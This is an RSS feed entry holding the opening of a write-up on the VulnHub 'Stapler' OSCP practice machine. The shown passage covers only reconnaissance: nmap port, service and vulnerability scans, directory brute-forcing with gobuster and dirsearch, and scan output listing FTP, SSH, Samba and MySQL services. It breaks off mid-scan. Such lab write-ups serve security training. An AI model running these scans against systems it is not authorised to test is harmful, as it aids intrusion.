<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Oscp on 静静的安全笔记</title><link>https://ruajingjing.top/tags/oscp/</link><description>Recent content in Oscp on 静静的安全笔记</description><generator>Hugo -- gohugo.io</generator><language>zh-CN</language><lastBuildDate>Sat, 14 Mar 2026 11:11:29 +0800</lastBuildDate><atom:link href="https://ruajingjing.top/tags/oscp/index.xml" rel="self" type="application/rss+xml"/><item><title>OSCP Official Lab — Stapler Writeup</title><link>https://ruajingjing.top/post/stapler-wp-en/</link><pubDate>Sat, 14 Mar 2026 11:11:29 +0800</pubDate><guid>https://ruajingjing.top/post/stapler-wp-en/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post OSCP Official Lab — Stapler Writeup" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;Follow the &lt;strong&gt;LongYuSec&lt;/strong&gt; and &lt;strong&gt;LongYuSec-Jing&amp;rsquo;an&lt;/strong&gt; public accounts for regularly updated articles on OSCP, penetration testing, and more. Reply &amp;ldquo;OSCP tools&amp;rdquo; in the backend to get the tools mentioned in this article.&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;Download the VM image from the official site:&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.vulnhub.com/entry/stapler-1,150/" target="_blank" rel="noopener"
 &gt;https://www.vulnhub.com/entry/stapler-1,150/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="information-gathering"&gt;Information Gathering
&lt;/h2&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Kali attacker machine IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;192.168.45.165
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Target machine IP&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;192.168.198.148
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="port-and-directory-scanning"&gt;Port and Directory Scanning
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Set MTU&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;sudo ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev tun0 mtu &lt;span class="m"&gt;1250&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;ip link show tun0
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Port scan&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nv"&gt;ports&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;sudo nmap -p- --min-rate&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;5000&lt;/span&gt; -Pn 192.168.198.148 &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s1"&gt;&amp;#39;^[0-9]&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; cut -d &lt;span class="s1"&gt;&amp;#39;/&amp;#39;&lt;/span&gt; -f &lt;span class="m"&gt;1&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; tr &lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;,&amp;#39;&lt;/span&gt; &lt;span class="p"&gt;|&lt;/span&gt; sed s/,$//&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Service scan&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.198.148
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.198.148
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# Directory scan&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;dirsearch -u http://192.168.223.148
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;gobuster dir -e -u http://192.168.198.148 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t &lt;span class="m"&gt;20&lt;/span&gt; -x php,html,txt -b 403,500,404 -z
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;whatweb http://192.168.198.148/
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Scan results:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;└─$ &lt;span class="nb"&gt;echo&lt;/span&gt; &lt;span class="nv"&gt;$ports&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;21,22,80,139,3306
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap -sT -sC -sV -O -Pn -p&lt;span class="nv"&gt;$ports&lt;/span&gt; 192.168.198.148
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.98 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2026-03-13 23:17 -0400
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.198.148
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.67s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 11&lt;/span&gt;&lt;span class="cl"&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 12&lt;/span&gt;&lt;span class="cl"&gt;21/tcp open ftp vsftpd 2.0.8 or later
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ftp-anon: Anonymous FTP login allowed &lt;span class="o"&gt;(&lt;/span&gt;FTP code 230&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_Can&lt;span class="s1"&gt;&amp;#39;t get directory listing: PASV failed: 550 Permission denied.&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ftp-syst:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; STAT:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 17&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; FTP server status:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 18&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Connected to 192.168.45.165
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 19&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Logged in as ftp
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 20&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; TYPE: ASCII
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 21&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; No session bandwidth limit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 22&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Session timeout in seconds is &lt;span class="m"&gt;300&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 23&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Control connection is plain text
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 24&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Data connections will be plain text
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 25&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; At session startup, client count was &lt;span class="m"&gt;4&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 26&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; vsFTPd 3.0.3 - secure, fast, stable
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_End of status
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 28&lt;/span&gt;&lt;span class="cl"&gt;22/tcp open ssh OpenSSH 7.2p2 Ubuntu &lt;span class="m"&gt;4&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;Ubuntu Linux&lt;span class="p"&gt;;&lt;/span&gt; protocol 2.0&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 29&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; ssh-hostkey:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 30&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;2048&lt;/span&gt; 81:21:ce:a1:1a:05:b1:69:4f:4d:ed:80:28:e8:99:05 &lt;span class="o"&gt;(&lt;/span&gt;RSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 31&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; &lt;span class="m"&gt;256&lt;/span&gt; 5b:a5:bb:67:91:1a:51:c2:d3:21:da:c0:ca:f0:db:9e &lt;span class="o"&gt;(&lt;/span&gt;ECDSA&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 32&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ &lt;span class="m"&gt;256&lt;/span&gt; 6d:01:b7:73:ac:b0:93:6f:fa:b9:89:e6:ae:3c:ab:d3 &lt;span class="o"&gt;(&lt;/span&gt;ED25519&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 33&lt;/span&gt;&lt;span class="cl"&gt;80/tcp open http PHP cli server 5.5 or later
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 34&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_http-title: &lt;span class="m"&gt;404&lt;/span&gt; Not Found
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 35&lt;/span&gt;&lt;span class="cl"&gt;139/tcp open netbios-ssn Samba smbd 4.3.9-Ubuntu &lt;span class="o"&gt;(&lt;/span&gt;workgroup: WORKGROUP&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 36&lt;/span&gt;&lt;span class="cl"&gt;3306/tcp open mysql MySQL 5.7.12-0ubuntu1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 37&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; mysql-info:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 38&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Protocol: &lt;span class="m"&gt;10&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 39&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Version: 5.7.12-0ubuntu1
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 40&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Thread ID: &lt;span class="m"&gt;8&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 41&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Capabilities flags: &lt;span class="m"&gt;63487&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 42&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Some Capabilities: Support41Auth, ODBCClient, Speaks41ProtocolOld, LongColumnFlag, SupportsTransactions, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, InteractiveClient, SupportsLoadDataLocal, Speaks41ProtocolNew, ConnectWithDatabase, SupportsCompression, LongPassword, DontAllowDatabaseTableColumn, FoundRows, SupportsMultipleResults, SupportsMultipleStatments, SupportsAuthPlugins
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 43&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Status: Autocommit
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Salt: w3/ &lt;span class="se"&gt;\x&lt;/span&gt;07&lt;span class="se"&gt;\x&lt;/span&gt;1D7&lt;span class="se"&gt;\x&lt;/span&gt;03o?&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;1C&lt;span class="se"&gt;\x&lt;/span&gt;01&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;05&lt;span class="sb"&gt;`&lt;/span&gt;&lt;span class="se"&gt;\x&lt;/span&gt;1CJ*&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;04&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 45&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ Auth Plugin Name: mysql_native_password
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 46&lt;/span&gt;&lt;span class="cl"&gt;Warning: OSScan results may be unreliable because we could not find at least &lt;span class="m"&gt;1&lt;/span&gt; open and &lt;span class="m"&gt;1&lt;/span&gt; closed port
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 47&lt;/span&gt;&lt;span class="cl"&gt;Aggressive OS guesses: Linux 3.10 - 4.11 &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.2 - 4.14 &lt;span class="o"&gt;(&lt;/span&gt;97%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.13 - 4.4 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.8 - 3.16 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 2.6.32 - 3.13 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 3.4 - 3.10 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.15 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 5.0 - 5.14 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, MikroTik RouterOS 7.2 - 7.5 &lt;span class="o"&gt;(&lt;/span&gt;Linux 5.6.3&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;, Linux 4.15 - 5.19 &lt;span class="o"&gt;(&lt;/span&gt;93%&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 48&lt;/span&gt;&lt;span class="cl"&gt;No exact OS matches &lt;span class="k"&gt;for&lt;/span&gt; host &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;test&lt;/span&gt; conditions non-ideal&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 49&lt;/span&gt;&lt;span class="cl"&gt;Network Distance: &lt;span class="m"&gt;4&lt;/span&gt; hops
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 50&lt;/span&gt;&lt;span class="cl"&gt;Service Info: Host: RED&lt;span class="p"&gt;;&lt;/span&gt; OS: Linux&lt;span class="p"&gt;;&lt;/span&gt; CPE: cpe:/o:linux:linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 51&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 52&lt;/span&gt;&lt;span class="cl"&gt;Host script results:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 53&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_nbstat: NetBIOS name: RED, NetBIOS user: &amp;lt;unknown&amp;gt;, NetBIOS MAC: &amp;lt;unknown&amp;gt; &lt;span class="o"&gt;(&lt;/span&gt;unknown&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 54&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 55&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; account_used: guest
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 56&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; authentication_level: user
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 57&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; challenge_response: supported
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 58&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ message_signing: disabled &lt;span class="o"&gt;(&lt;/span&gt;dangerous, but default&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 59&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb-os-discovery:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 60&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; OS: Windows 6.1 &lt;span class="o"&gt;(&lt;/span&gt;Samba 4.3.9-Ubuntu&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 61&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Computer name: red
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 62&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; NetBIOS computer name: RED&lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 63&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; Domain name: &lt;span class="se"&gt;\x&lt;/span&gt;&lt;span class="m"&gt;00&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 64&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; FQDN: red
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 65&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ System time: 2026-03-14T03:18:42+00:00
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 66&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb2-security-mode:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 67&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; 3.1.1:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 68&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ Message signing enabled but not required
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 69&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_clock-skew: mean: 0s, deviation: 2s, median: -1s
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 70&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; smb2-time:
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 71&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt; date: 2026-03-14T03:18:39
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 72&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;|&lt;/span&gt;_ start_date: N/A
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 73&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 74&lt;/span&gt;&lt;span class="cl"&gt;OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 75&lt;/span&gt;&lt;span class="cl"&gt;Nmap &lt;span class="k"&gt;done&lt;/span&gt;: &lt;span class="m"&gt;1&lt;/span&gt; IP address &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt; host up&lt;span class="o"&gt;)&lt;/span&gt; scanned in 150.85 seconds
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 76&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 77&lt;/span&gt;&lt;span class="cl"&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;kali㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-&lt;span class="o"&gt;[&lt;/span&gt;~/Desktop&lt;span class="o"&gt;]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 78&lt;/span&gt;&lt;span class="cl"&gt;└─$ sudo nmap --script&lt;span class="o"&gt;=&lt;/span&gt;vuln -p&lt;span class="nv"&gt;$ports&lt;/span&gt; -Pn 192.168.198.148
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 79&lt;/span&gt;&lt;span class="cl"&gt;Starting Nmap 7.98 &lt;span class="o"&gt;(&lt;/span&gt; https://nmap.org &lt;span class="o"&gt;)&lt;/span&gt; at 2026-03-13 23:20 -0400
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 80&lt;/span&gt;&lt;span class="cl"&gt;Nmap scan report &lt;span class="k"&gt;for&lt;/span&gt; 192.168.198.148
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 81&lt;/span&gt;&lt;span class="cl"&gt;Host is up &lt;span class="o"&gt;(&lt;/span&gt;0.47s latency&lt;span class="o"&gt;)&lt;/span&gt;.
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 82&lt;/span&gt;&lt;span class="cl"&gt;
